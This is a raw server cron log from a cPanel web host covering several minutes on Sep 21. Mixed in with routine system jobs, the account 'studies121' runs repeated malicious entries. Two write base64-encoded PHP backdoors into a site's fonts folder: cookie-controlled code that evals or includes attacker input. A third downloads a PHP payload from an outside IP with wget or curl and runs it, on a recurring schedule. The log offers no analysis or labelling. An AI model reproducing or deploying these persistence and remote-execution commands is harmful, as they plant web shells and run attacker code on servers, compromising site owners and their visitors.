Sep 21 18:10:01 ip-184-168-122-23 CROND[25543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:10:01 ip-184-168-122-23 CROND[25542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:10:01 ip-184-168-122-23 CROND[25545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:11:01 ip-184-168-122-23 CROND[25657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:11:01 ip-184-168-122-23 CROND[25658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:11:01 ip-184-168-122-23 CROND[25659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:11:01 ip-184-168-122-23 CROND[25662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:12:01 ip-184-168-122-23 CROND[25776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:12:01 ip-184-168-122-23 CROND[25779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:12:01 ip-184-168-122-23 CROND[25778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:12:01 ip-184-168-122-23 CROND[25781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:12:01 ip-184-168-122-23 CROND[25782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:13:01 ip-184-168-122-23 CROND[25894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:13:01 ip-184-168-122-23 CROND[25896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:13:01 ip-184-168-122-23 CROND[25898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:13:01 ip-184-168-122-23 CROND[25897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:14:01 ip-184-168-122-23 CROND[26003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:14:01 ip-184-168-122-23 CROND[26004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:14:01 ip-184-168-122-23 CROND[26009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:14:01 ip-184-168-122-23 CROND[26007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:14:01 ip-184-168-122-23 CROND[26008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26140]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:15:01 ip-184-168-122-23 CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26141]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:15:01 ip-184-168-122-23 CROND[26145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:16:01 ip-184-168-122-23 CROND[26381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:16:01 ip-184-168-122-23 CROND[26384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 18:16:01 ip-184-168-122-23 CROND[26383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:16:01 ip-184-168-122-23 CROND[26385]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:16:01 ip-184-168-122-23 CROND[26387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:16:01 ip-184-168-122-23 CROND[26386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:17:01 ip-184-168-122-23 CROND[26500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:17:01 ip-184-168-122-23 CROND[26503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:17:01 ip-184-168-122-23 CROND[26501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:17:01 ip-184-168-122-23 CROND[26504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:18:01 ip-184-168-122-23 CROND[26621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:18:01 ip-184-168-122-23 CROND[26623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:18:01 ip-184-168-122-23 CROND[26624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:18:01 ip-184-168-122-23 CROND[26625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:18:01 ip-184-168-122-23 CROND[26627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:19:01 ip-184-168-122-23 CROND[26723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:19:01 ip-184-168-122-23 CROND[26725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:19:01 ip-184-168-122-23 CROND[26729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:19:01 ip-184-168-122-23 CROND[26727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:20:02 ip-184-168-122-23 CROND[26839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:20:02 ip-184-168-122-23 CROND[26843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 18:20:02 ip-184-168-122-23 CROND[26848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:21:02 ip-184-168-122-23 CROND[26955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:21:02 ip-184-168-122-23 CROND[26957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:21:02 ip-184-168-122-23 CROND[26959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:21:02 ip-184-168-122-23 CROND[26961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:22:01 ip-184-168-122-23 CROND[27056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:22:01 ip-184-168-122-23 CROND[27058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:22:01 ip-184-168-122-23 CROND[27059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:22:01 ip-184-168-122-23 CROND[27060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:22:01 ip-184-168-122-23 CROND[27061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
